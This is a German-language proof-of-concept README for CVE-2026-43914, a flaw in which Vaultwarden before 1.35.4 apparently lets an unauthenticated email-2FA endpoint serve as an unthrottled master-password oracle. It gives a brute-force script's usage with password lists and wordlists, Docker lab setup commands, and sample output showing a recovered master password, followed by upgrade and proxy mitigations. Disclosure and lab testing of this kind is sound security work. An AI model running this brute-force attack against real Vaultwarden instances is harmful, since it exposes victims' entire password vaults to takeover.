
PoC für CVE-2026-43914: Vaultwarden <1.35.4 Passwortorakel für den Brute-Force-Bypass der email-2FA. Python, nur mit Standardbibliothek.
Proof-of-Concept für CVE-2026-43914: Wenn die E-Mail-2FA aktiviert ist, kann der Brute-Force-Schutz der Vaultwarden-Anmeldung über den nicht authentifizierten Endpunkt POST /api/two-factor/send-email-login vollständig umgangen werden, der als unbegrenztes Master-Passwort-Orakel fungiert.
Betroffen: Vaultwarden < 1.35.4
Vaultwarden ist der beliebteste selbst gehostete, Bitwarden-kompatible Passwortmanager. Administratoren aktivieren die E-Mail-2FA in der Annahme, dass sie das Erraten von Passwörtern verhindert — aber dieser Endpunkt validiert den Master-Passwort-Hash und liefert für korrekte bzw. falsche Versuche einen eindeutigen HTTP-Status, bevor irgendeine Ratenbegrenzung oder Kontosperre greift:
| Antwort | Bedeutung |
|---|---|
200 | Passwort korrekt (OTP-E-Mail gesendet) |
400 "Username or password is incorrect" | Passwort falsch |
Ein Angreifer, der die E-Mail-Adresse eines Opfers kennt (oder errät), kann das Master-Passwort mit voller Geschwindigkeit und ohne jegliche Drosselung per Brute-Force angreifen. Die E-Mail-2FA verhindert das nicht.
In src/api/core/two-factor/email.rs prüft der Handler send_email_login das Passwort und gibt bei Nichtübereinstimmung vorzeitig zurück — diese Route ist jedoch nicht bei der Middleware für Brute-Force-/Ratenbegrenzung registriert, die /identity/connect/token schützt. Jeder Aufruf:
check_valid_password(master_password_hash) → err!("Username or password is incorrect") (HTTP 400) bei Nichtübereinstimmung,python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Nur Python-3-Standardbibliothek.
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Erstellen Sie einen Testbenutzer (mit einem beliebigen Bitwarden-Client oder der API), aktivieren Sie die E-Mail-2FA (Einstellungen → Zwei-Schritte-Anmeldung → E-Mail) und führen Sie dann den PoC dagegen aus.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Aktualisieren Sie auf Vaultwarden 1.35.4+. Bis dahin: Deaktivieren Sie die E-Mail-2FA zugunsten von TOTP/WebAuthn und platzieren Sie die Instanz hinter einem Reverse-Proxy mit Ratenbegrenzung pro IP für /api/two-factor/*.
Nur für autorisierte Sicherheitsforschung und den Einsatz in Laborumgebungen.